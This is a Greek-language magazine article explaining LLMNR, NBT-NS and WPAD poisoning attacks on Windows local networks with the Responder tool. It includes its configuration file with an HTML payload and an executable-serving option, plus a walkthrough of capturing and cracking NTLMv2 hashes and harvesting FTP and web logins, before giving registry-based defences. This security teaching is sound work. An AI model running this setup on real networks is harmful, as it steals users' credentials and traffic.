Το προφίλ μας στο Google Plus
0

Tοπικά δίκτυα Windows: Εν γένει επισφαλή

Πολλές φορές θεωρούμε ότι ο μόνος κίνδυνος που απειλεί τους υπολογιστές μας είναι κάποιος “χάκερ” στην άλλη άκρη της γης — ή τουλάχιστον αρκετά μακριά μας. Έτσι, όταν κάποιος θίγει το ζήτημα της δικτυακής ασφάλειας, τα πρώτα πράγματα που σκεφτόμαστε είναι ο router που χωρίζει το τοπικό μας δίκτυο από το Internet, το firewall που έχουμε ενεργοποιήσει και, βεβαίως, το αν είναι καλά ρυθμισμένο.

Μπορεί ο ηθικός αυτουργός να είναι οι ταινίες που βλέπαμε πιτσιρικάδες ή ακόμα και η φτηνή δημοσιογραφία, που πασχίζει να πουλήσει ιστορίες για τιτανο-κακοποιούς χάκερ. Όπως όμως και να ‘χουν τα πράγματα, εδώ υπάρχει ένα λάθος που είναι όλο δικό μας: Εξετάζουμε τη δικτυακή ασφάλεια ενός συστήματος και, εντελώς ασυναίσθητα, εστιάζουμε στις απειλές που μπορούν να προέλθουν από το Internet, παραβλέποντας το τοπικό δίκτυο και τους κινδύνους που ενδεχομένως κρύβει. Ωστόσο, όπως γνωρίζουν οι τακτικοί αναγνώστες του περιοδικού, οι επιθέσεις εντός των τοπικών δικτύων πραγματοποιούνται σχετικά εύκολα κι όταν επιτυγχάνουν έχουν ολέθριες συνέπειες. Πολλές από τις επιθέσεις του είδους είναι γνωστές προ πολλού. Παραμένουν όμως πάντα επίκαιρες, καθώς η ρίζα τους εντοπίζεται σε εγγενείς αδυναμίες που έχουν συγκεκριμένα δικτυακά πρωτόκολλα επικοινωνίας. Και μη νομίζετε, δηλαδή, ότι μιλάμε για τις αδυναμίες ενός ξεχασμένου συστήματος, που έχει να δεχτεί αναβαθμίσεις από την εποχή του Νώε.

Οι επιθέσεις –συνήθως της κατηγορίας Man in The Middle– που εξαπολύονται στα τοπικά δίκτυα, παρέχουν τη δυνατότητα στον επιτιθέμενο ν’ αποκτά χρήσιμες πληροφορίες για τις δραστηριότητες του θύματος, έως και κωδικούς πρόσβασης σε διάφορες υπηρεσίες. Όπως καταλαβαίνετε, αν πρόκειται για το τοπικό δίκτυο μιας εταιρείας ή κάποιου μεγάλου οργανισμού, η διαρροή ενός συνθηματικού αποτελεί σοβαρό ζήτημα. Βλέπετε, στους περισσότερους χώρους δουλειάς δεν εφαρμόζεται κάποιο password policy, ενώ, ακόμα κι αν υπάρχει, η τήρησή του επαφίεται συνήθως στον πατριωτισμό των χρηστών. Με λίγα λόγια, είναι πολύ πιθανόν οι χρήστες του τοπικού δικτύου να χρησιμοποιούν τον ίδιο κωδικό, παντού. Είναι φανερό λοιπόν ότι σε ένα τέτοιο δίκτυο μια επιτυχημένη επίθεση, που είχε ως στόχο κάποιον μεμονωμένο χρήστη, ενδέχεται ν’ ανοίξει δρόμους για την επίθεση και σε άλλα συστήματα του δικτύου — ίσως και σε κάποιον server.

Αυτή τη φορά θα προσπεράσουμε την κλασική επίθεση ARP poisoning, για την οποία άλλωστε έχουμε γράψει και στο παρελθόν (βλ., π.χ., τεύχος 001), και θα εξετάσουμε μια επίθεση που στηρίζεται στις αδυναμίες άλλων πρωτοκόλλων. Συγκεκριμένα, θα χρησιμοποιήσουμε το εργαλείο Responder, το οποίο κατασκευάστηκε στα εργαστήρια Spiderlabs της εταιρείας Trustwave, και στοχεύει ορισμένα πρωτόκολλα δικτύωσης των Windows.

Επιθέσεις ΜiΤΜ, γενικά
Σε παλαιότερη ανάρτησή του, ο δημοφιλής κρυπτογράφος Bruce Schneier περιέγραφε μία πολύμηνη απάτη από μέρους της Κολομβιανής κυβέρνησης, με στόχο τη διάσωση δεκαπέντε ομήρων που κρατούσε η ομάδα ανταρτών FARC. Στο επίκεντρο αυτής της απάτης βρισκόταν μια κλασική Man in The Middle Attack:

Το σχέδιο ήταν πολύ πιθανόν να δουλέψει καθώς, για μήνες, σε μια επιχείρηση που ένας αξιωματικός του στρατού ήταν το “χαλασμένο τηλέφωνο”, οι υπηρεσίες ασφάλειας κατάφεραν να πείσουν τον αντάρτη Gerardo Aguilar (γνωστό κι ως Cesar) ότι επικοινωνούσε με την επταμελή γραμματεία της οργάνωσης. Οι υπηρεσίες πληροφοριών την ίδια στιγμή έπεισαν τους ηγέτες της FARC πως επικοινωνούσαν με τον Cesar. Στη πραγματικότητα, και οι δύο μιλούσαν με τις υπηρεσίες πληροφοριών του στρατού της Κολομβίας.

Το σχέδιο δούλεψε, καθώς ούτε ο Cesar αλλά ούτε και η ηγεσία της οργάνωσης γνωρίζονταν καλά μεταξύ τους. Δεν αναγνώριζαν τις φωνές, ενώ δεν είχαν και κάποια φιλική σχέση που θα μπορούσε να τους κάνει να αναγνωριστούν. Οι επιθέσεις MiTM μπορούν να καταπολεμηθούν με κανόνες επικοινωνίας και αναγνώρισης, τους οποίους όμως οι αντάρτες της FARC δεν είχαν.

Σε ένα MiTM attack, ο επιτιθέμενος βάζει τον εαυτό του ανάμεσα σε μια επικοινωνία μεταξύ δύο σημείων. Καθένα από τα δύο μέρη πιστεύει ότι επικοινωνεί με το άλλο, μόνο που ο επιτιθέμενος μπορεί να ακούει ή να αλλάζει το περιεχόμενο της επικοινωνίας κατά βούληση. Υπάρχουν δύο είδη επιθέσεων MiTM: η ενεργητική και η παθητική. Στην ενεργητική ο επιτιθέμενος προσπαθεί να αλλάξει το περιεχόμενο της επικοινωνίας, αλλοιώνοντας τα μηνύματα που υποκλέπτει. Αντίθετα, στην παθητική απλά ακούει –ενδεχομένως και καταγράφει– την κίνηση του δικτύου, χωρίς να αλλάζει το περιεχόμενο. Αυτό το στοιχείο κάνει την παθητική επίθεση πολύ πιο αθόρυβη, δίνοντας την ευκαιρία στο ενδιάμεσο κακόβουλο μέρος να μείνει πιο πολλή ώρα στο δίκτυο χωρίς να γίνει αντιληπτό. Η επίθεση που περιγράφουμε στο παρόν άρθρο είναι μια παθητική επίθεση MiTM.

Το πρόβλημα
Στα τοπικά ή αν θέλετε εσωτερικά δίκτυα, όπου κατά κύριο λόγο υπάρχουν συστήματα Windows, συναντάμε δύο υπέροχα πρωτόκολλα. Αμφότερα επιτρέπουν σε έναν επιτιθέμενο να τα εκμεταλλεύεται, μέσω MiTM attacks, ώστε να υποκλέπτει password hashes κι άλλες ενδιαφέρουσες πληροφορίες.

Αν ο υπολογιστής σας τρέχει Windows, το πιο πιθανό είναι πως έχει ενεργοποιημένα τα πρωτόκολλα LLMNR και NBT-NS. Αν δεν τα έχετε ακούσει ξανά, είναι γιατί ούτε ο υπολογιστής σας αλλά ούτε και το δίκτυο στο χώρο της εργασίας σας τα χρειάζεται. Τα πρωτόκολλα αυτά είναι σχεδιασμένα για name resolution.

Link-Local Multicast Name Resolution (LLMNR). Το LLMNR είναι εξ ορισμού ενεργοποιημένο κι επιτρέπει τόσο σε IPv6 όσο και σε IPv4 μηχανήματα ν’ αναζητούν άλλα μηχανήματα στο εσωτερικό δίκτυο, χωρίς την παρουσία DNS server. Το πρωτόκολλο χρησιμοποιήθηκε πρώτη φορά στα Windows Vista κι έχει ενσωματωθεί και στις επόμενες εκδόσεις των Windows. Περιγράφεται αναλυτικά στο RFC 4795.

NetBIOS Name Service (NBT-NS). Το NBT-NS είναι ένα πρωτόκολλο περίπου ίδιο με το LLMNR, αλλά δουλεύει μόνο για συστήματα IPv4 και είναι συνυφασμένο περισσότερο με Windows XP boxes.

Όταν ένας υπολογιστής Windows χρειάζεται ν’ αναζητήσει ένα όνομα στο δίκτυο ή μια διεύθυνση, κοιτάζει σε τρία μέρη. Πρώτα στο τοπικό αρχείο hosts. Έπειτα ρωτάει τους DNS servers του δικτύου. Όταν αποτύχουν αυτά τα δύο, ρωτάει στο εσωτερικό δίκτυο εκπέμποντας NetBIOS queries, στα οποία οποιοσδήποτε υπολογιστής εντός τοπικού δικτύου έχει δυνατότητα ν’ απαντήσει.

Ας υποθέσουμε ότι ένα μηχάνημα Windows προσπαθεί να συνδεθεί στο share ονόματι \fileserver. Στο αρχείο hosts δεν υπάρχει πληροφορία για το τι μπορεί να είναι αυτό το “fileserver”, αλλά ούτε και κάποιος DNS server γνωρίζει κάτι. Ακριβώς γι’ αυτό, γίνεται ένα broadcast request εντός του τοπικού δικτύου. Αν ο υπολογιστής με το \fileserver βρίσκεται στο ίδιο δίκτυο, θα απαντήσει και η σύνδεση θα επιτευχθεί με βάση το authentication που προβλέπεται από το πρωτόκολλο SMB. Το ίδιο θα γίνει κι αν αναζητηθεί από το χρήστη μία διεύθυνση ή ένα όνομα πόρου, για το οποίο δεν υπάρχουν πληροφορίες στο hosts ή στον DNS server. Στην πραγματικότητα, αυτή η δυνατότητα για εκπομπή requests αποτελεί ένα κενό ασφαλείας. Πράγματι, απαντώντας κάποιος θετικά σε ένα σχετικό query, είναι σε θέση να λάβει τα credentials του (υποψήφιου) θύματος ή ακόμη και να του σερβίρει σελίδες με κακόβουλο περιεχόμενο.

Το κενό ασφαλείας υφίσταται γιατί, όπως o Cesar έκανε με τους αρχηγούς της FARC, έτσι και οι υπολογιστές στο τοπικό δίκτυο στέλνουν broadcast requests στο δίκτυο και οποιοσδήποτε μπορεί ν’ απαντήσει, χωρίς κανέναν έλεγχο για το αν το σύστημα που απαντά είναι πράγματι αυτό που ισχυρίζεται πως είναι. Έτσι, όταν για παράδειγμα ο Bob ψάξει στο δίκτυο για την Alice, ένας Responder είναι σε θέση ν’ απαντήσει λέγοντας πως αυτός είναι η Alice (Σ.τ.Ε. Ωραία, βολικά ονόματα :D) O Bob τότε θα στείλει τα credentials του, ώστε να προχωρήσει το SMB authentication. Τα hashes που θα βρεθούν να τριγυρνάνε στο δίκτυο είναι της μορφής LM, NTLMv1 ή NTLMv2. Χρησιμοποιώντας προγράμματα σπασίματος κωδικών, όπως το John The Ripper ή το HashCat, αρκετοί κωδικοί αποκαλύπτονται μέσα σε μερικά λεπτά. Σε παλαιότερες εκδόσεις των Windows, ο κακόβουλος χρήστης μπορεί να καταφύγει σε επιθέσεις τύπου pass-the-hash: Απλά θα συνδεθεί στο θύμα δίνοντας το hash που έχει υποκλέψει, χωρίς να γνωρίζει το ίδιο το password. Να μην ξεχνάμε πως στα περισσότερα εταιρικά δίκτυα οι κωδικοί που θα βρεθούν είναι ίδιοι, αφού ποιος δίνει σημασία τώρα στο όποιο password policy… Έτσι, ο οποιοσδήποτε χρήστης του εταιρικού δικτύου είναι σε θέση, παίρνοντας ένα ένα τα hashes από τα μηχανήματα, να φτάσει ακόμη και στον Domain Controller του δικτύου.

Ένα άλλο πρωτόκολλο που πολύ αγαπάνε οι κακόβουλοι χρήστες ενός τοπικού δικτύου, είναι το WPAD (Web Proxy Auto-Discovery Protocol, βλ. και σχετικό άρθρο στο τεύχος 012). Και ναι, είναι κι αυτό εξ ορισμού ενεργό σε όλα τα συστήματα με Windows 2000 ή νεότερο. Το πρωτόκολλο χρησιμεύει προκειμένου να ρυθμίζεται αυτόματα ο proxy server για τον Internet Explorer. Περιοδικά, ο υπολογιστής στέλνει στο δίκτυο ένα request της μορφής “wpad.“. Αν αυτή η τοποθεσία δε προσφέρεται από τον DHCP ή τον DNS server, τότε τα δύο γνωστά μας, πλέον, πρωτόκολλα, τα LLMNR και NBT-NS, θ’ αναλάβουν δράση και θα εκπέμψουν το αίτημα. Η κατάληξη είναι γνωστή. Κάποιος κακόβουλος είναι σε θέση ν’ απαντήσει με αποτέλεσμα όλη η HTTP κίνηση του workstation να περνά απ’ αυτόν.

Το εργαλείο για τις επιθέσεις
Όπως ήδη αναφέραμε, ο Responder είν’ ένα εργαλείο που αναπτύχθηκε στα SpiderLabs της εταιρείας Trustwave. Παρότι υπάρχουν διάφορα προγράμματα για να πραγματοποιούνται επιθέσεις MiTM, οι άνθρωποι των SpiderLabs ανέπτυξαν ένα που τα κάνει όλα — και τα κάνει καλά. Είναι γραμμένο σε Python κι έχει πολλές ενδιαφέρουσες επιλογές. Εκτός από τη βασική του λειτουργία, που είναι η απάντηση σε ερωτήματα LLMNR και NBT-NS, υλοποιεί κι αρκετούς authentication servers, όπως, π.χ., για τα πρωτόκολλα SMB, MSSQL, HTTP(S) και FTP.

Χάρη σ’ αυτούς τους rogue servers, απαντά στα ανυποψίαστα workstations που ζητάνε διάφορους πόρους στο δίκτυο. Μπορεί επίσης να εκτελέσει άψογα την επίθεση WPAD που περιγράψαμε πιο πάνω, υποκλέπτοντας τη κίνηση των θυμάτων που ανυποψίαστα περιηγούνται στο Internet. Επίσης, έχει τη δυνατότητα να μπαίνει σε Analyze mode, αναλύοντας το δίκτυο πριν επιτεθεί.

Η χρήση του είναι αρκετά απλή και η ρύθμιση της συμπεριφοράς του γίνεται είτε από το command line είτε από το configuration file που διαθέτει. Το αρχείο ρυθμίσεων είναι το Responder.conf. Στις πρώτες γραμμές βρίσκονται οι επιλογές για τους authentication servers που θέλουμε να είναι ενεργοποιημένοι.

[Responder Core]
;;
; Set these values On or Off, to set which rogue authentication server is used.
SQL = On
SMB = On
Kerberos = On
FTP = On
POP = On

;;Listen on 25/TCP, 587/TCP
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
;Set a custom challenge
Challenge = 1122334455667788
;Set this to change the default logging file
SessionLog = Responder-Session.log
;Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
RespondTo =
;Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
;RespondTo = WPAD,DEV,PROD,SQLINT
RespondToName =
;DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
DontRespondTo =
;Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Ex-ample: DontRespondTo = NAC, IPS, IDS
DontRespondToName =

Στην επιλογή Challenge, ο χρήστης βάζει μια τιμή για το πρωτόκολλο NTLMv2. Η πιο συνηθισμένη τιμή είναι αυτή που ήδη υπάρχει στο αρχείο και προτείνεται να την αφήσουμε ως έχει. Η επιλογή SessionLog αφορά στο πού θα αποθηκεύεται το αρχείο καταγραφής, με όλες τις ενέργειες που έχουν γίνει. Οι επιλογές RespondToName και DontRespondToName είναι απαραίτητες, ώστε το Responder να ξέρει ποια requests θα λαμβάνει υπόψη και θα απαντά, καθώς και ποια θα αγνοεί. Οι δε RespondTo και DontRespondTo είναι χρήσιμες, προκειμένου το Responder να γνωρίζει σε ποιους υπολογιστές θα δίνει σημασία καθώς και ποιους θα αγνοεί.

[HTTP Server]
;Set this to On if you want to always serve a specific file to the victim.
Serve-Always = Off
;Set this to On if you want to serve an executable file each time a .exe is detected in an URL.
Serve-Exe = Off
;Uncomment and specify a custom file to serve, the file must exist.
Filename = Denied.html
;Specify a custom executable file to serve, the file must exist.
ExecFilename = FixInternet.exe
;Set your custom PAC script
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExp-Match(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DI-RECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DI-RECT';}
;HTML answer to inject.
;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.Also, the HTML has to be in this format "<html> Payload goes here...</html>".
HTMLToServe = <html><head></head><body><img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='2'></body></html>
[HTTPS Server]\
;Change to use your certs
cert = Certs/responder.crt
key = Certs/responder.key

Η επιλογή Serve-Always χρησιμεύει όταν επιθυμούμε να στέλνουμε ένα συγκεκριμένο αρχείο στο θύμα, μέσω του HTTP server. Η δε Serve-Exe, όταν θέλουμε να στέλνουμε κάποιο εκτελέσιμο. Έτσι, μέσα από τις επιλογές Filename και ExecFilename ορίζεται η τοποθεσία των αρχείων που θα αποστέλλονται στο (υποψήφιο) θύμα.

Οι επιλογές WPADScript και HTMLToServe αφορούν στη τοποθεσία όπου το θύμα θα βρει τις ρυθμίσεις για το διακομιστή διαμεσολάβησης, αλλά και τον κώδικα HTML που θα εισαχθεί στην απάντηση προς το θύμα. Τέλος, στην περίπτωση όπου χρησιμοποιείται το HTTPS, οι επιλογές cert και key αφορούν στις θέσεις όπου βρίσκονται τα ήδη δημιουργημένα κλειδιά και πιστοποιητικά.

Οι κυριότερες επιλογές του Responder στο command line είναι οι ακόλουθες.

-A, –analyze
Το εργαλείο τρέχει σε κατάσταση ανάλυσης. Ο επιτιθέμενος μπορεί να δει τα αιτήματα NBT-NS και LLMNR, χωρίς να επηρεάζει τη κίνησή τους.

-i 10.20.30.40, –ip=10.20.30.40
Η διεύθυνση IP όπου θα ανακατευθύνεται η κίνηση. Συνήθως είναι αυτή που έχει το μηχάνημα του επιτιθέμενου.

-I eth0, –interface=eth0
Το δικτυακό ενδιάμεσο (network interface) από το οποίο θα ακούει το Responder.

-b, –basic
Αυτή η επιλογή αφορά στο βασικό HTTP authentication. Αν τεθεί -b 1, τότε στα θύματα θα εμφανίζεται παράθυρο εισαγωγής πιστοποιητικών χρήστη.

-f, –fingerprint
Με αυτή την επιλογή εμφανίζονται οι υπολογιστές που εκπέμπουν ερωτήματα NBT-NS ή LLMNR.

-w, –wpad
Ξεκινά τον διακομιστή WPAD, ο οποίος στέλνει τις ρυθμίσεις του WPAD proxy.

Παράδειγμα επίθεσης
Παρουσιάζουμε εν τάχει ένα σενάριο επίθεσης σε δίκτυο Windows, με τη βοήθεια του Responder.

Έστω ότι βρισκόμαστε σε ένα εταιρικό δίκτυο με αρκετά Windows boxes, όπως επίσης και με web και FTP server. Ξεκινάμε το Responder όπως φαίνεται στο ακόλουθο screenshot. Όπως βλέπετε, το πρόγραμμα πιάνει αμέσως δουλειά.

Ξεκινάμε το Responder στο Kali Linux και το πρόγραμμα πιάνει αμέσως δουλειά.

Μετά από κάποια ώρα κι έχοντας βάλει τη καφετιέρα να φτιάχνει καφέ, έχουμε το πρώτο αποτέλεσμα. Είναι ένα NetNTLMv2 hash!

Μετά από λίγη ώρα, το Responder ψαρεύει ένα NetNTLMv2 hash!

Γενικά, το “σπάσιμο” ή αλλιώς η αντιστροφή των hashes δεν αποτελεί μια διαδικασία που εγγυημένα αποδίδει αποτελέσματα. Ίσως όμως αυτό το συγκεκριμένο hash να μην προέρχεται από κάποιο καλό password, αφού ο χρήστης που το εμπνεύστηκε ενδεχομένως να σκέφτηκε ότι βρίσκεται μέσα στο ασφαλές εταιρικό δίκτυο, οπότε δεν υπάρχει λόγος να πολυσκοτίζεται με την επινόηση ισχυρών κωδικών. Εμπιστευόμαστε λοιπόν το hash στα έμπειρα χέρια του John.

Το John The Ripper αναλαμβάνει τη λεγόμενη 'αντιστροφή' του hash -- και τα καταφέρνει!

Χωρίς να μας απογοητεύσει, μέσα σε δευτερόλεπτα ο John σπάζει το hash του χρήστη, αποκαλύπτοντας το αρχικό password. Δεν επαναπαυόμαστε και συνεχίζουμε το ψάξιμο στο δίκτυο, χρησιμοποιώντας κι άλλες επιλογές του Responder.

Το Responder είναι έτοιμο ν' απαντήσει με πληροφορίες για τον proxy, τον οποίο εναγωνίως αναζητά ο Internet Explorer.

Αυτή τη φορά ο Responder είναι έτοιμος ν’ απαντήσει με πληροφορίες για τον proxy, εκμεταλλευόμενος την “αφέλεια” του πρωτοκόλλου WPAD που χρησιμοποιεί ο Internet Explorer.

Το web traffic του Internet Explorer περνά από το μηχάνημα με τον Responder.

Μετά από λίγο έχουμε ένα τυχερό, οπότε μπορούμε να βλέπουμε όλες τις κινήσεις που πραγματοποιεί το θύμα μέσα από τον web browser.

Οι υπηρεσίες σε ένα δίκτυο Windows συνήθως διαθέτουν και ονόματα NetBIOS (π.χ., FTPSERVER). Όταν ένας χρήστης ζητά κάποιο resource, όπως, π.χ., έναν FTP ή HTTP server, ο Responder είναι σε θέση να του απαντά ο ίδιος. Σκοπός του επιτιθέμενου είναι η αλίευση usernames και passwords, τα οποία τα υποψήφια θύματα πληκτρολογούν σε σχετικά prompts που εμφανίζει ο Responder. Δείτε τα ακόλουθα screenshots.

Το θύμα επιχειρεί σύνδεση στον FTP server, πληκτρολογώντας username και password.

Στην πραγματικότητα, τα στοιχεία σύνδεσης στον FTP server τα καταγράφει ο Responder.

Ομοίως, το θύμα δίνει τα στοιχεία του προκειμένου ν' αποκτήσει πρόσβαση σε ένα web application...

...αλλά τα στοιχεία αυτά τα καταγράφει ο Responder!

Μέτρα προστασίας
Το πώς μπορεί να προστατεύσει κανείς ένα τοπικό δίκτυο από επιθέσεις MiTM με εργαλεία σαν το Responder, είναι αρκετά απλό. Άλλωστε, όπως είπαμε και στην αρχή, στην πλειονότητα των περιπτώσεων επισφαλή πρωτόκολλα του στιλ LLMNR, NBT-NS δεν τα χρειαζόμαστε. Βέβαια οι εχθροί εδώ είναι η άγνοια, η αμέλεια και η σαθρή πεποίθηση πως “αυτά συμβαίνουν αλλού”. Πάντως όσοι διαχειριστές θελήσουν να πάρουν μέτρα προστασίας, οφείλουν να φροντίσουν για τα ακόλουθα:

  • Εφαρμογή και τήρηση ενός επαρκούς password policy
  • Απενεργοποίηση των LLMNR broadcasts σε όλα τα μηχανήματα
  • Απενεργοποίηση των NBT-NS broadcasts σε όλα τα μηχανήματα, μέσω της απενεργοποίησης του NetBIOS
  • Απενεργοποίηση της αυτόματης ανάκτησης ρυθμίσεων proxy, μέσω του πρωτοκόλλου WPAD

Η απενεργοποίηση του LLMNR μπορεί να γίνει από το κατάλληλο registry key:

HKLM\Software\Policies\Microsoft\Windows NT\DNSClient "EnableMulticast" DWORD 0

Εναλλακτικά, γίνεται και από το αρχείο gpedit.msc.

Για το NBT-NS, το registry key είναι:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NetBT\Parameters\Interfaces "NetbiosOptions" DWORD 2

Μπορείτε να το απενεργοποιήσετε και με την επιλογή Disable NetBIOS over TCP/IP, η οποία βρίσκεται στις ρυθμίσεις του network interface που χρησιμοποιεί το μηχάνημα. (Η ίδια η Microsoft έχει δώσει ένα script για την απενεργοποίηση του NBT-NS.)

Για το WPAD υπάρχουν δύο δυνατότητες. Η μία είναι ένας τοπικός DNS server που δίνει ο ίδιος τις ρυθμίσεις για τον proxy. Αν αυτό δεν είναι δυνατόν, τότε προτείνεται η απενεργοποίηση του WPAD από το gpedit.msc.

Οι προηγούμενες κινήσεις “τυφλώνουν” εργαλεία σαν το Responder, ενισχύοντας την ασφάλεια των χρηστών του τοπικού δικτύου.

Συμπερασματικά, γίνεται φανερό ότι τα πολλά features δεν λειτουργούν υπέρ της ασφάλειας. Πράγματι, καταφεύγοντας σε απλά προγράμματα όπως το Responder, εντελώς αθόρυβα και χωρίς τη χρήση δύσκολων τεχνικών ή ψαγμένων exploits, ένας κακόβουλος χρήστης έχει τη δυνατότητα να φτάσει ακόμα και στον κεντρικό server ενός τοπικού δικτύου. Τελικά, τo ηθικό δίδαγμα όσον αφορά στην ασφάλεια, για άλλη μια φορά είναι ίδιο: ό,τι δεν χρησιμοποιείται πρέπει να απενεργοποιείται. Less is more!

Leave a Reply

You must be logged in to post a comment.

Σύνδεση

Αρχείο δημοσιεύσεων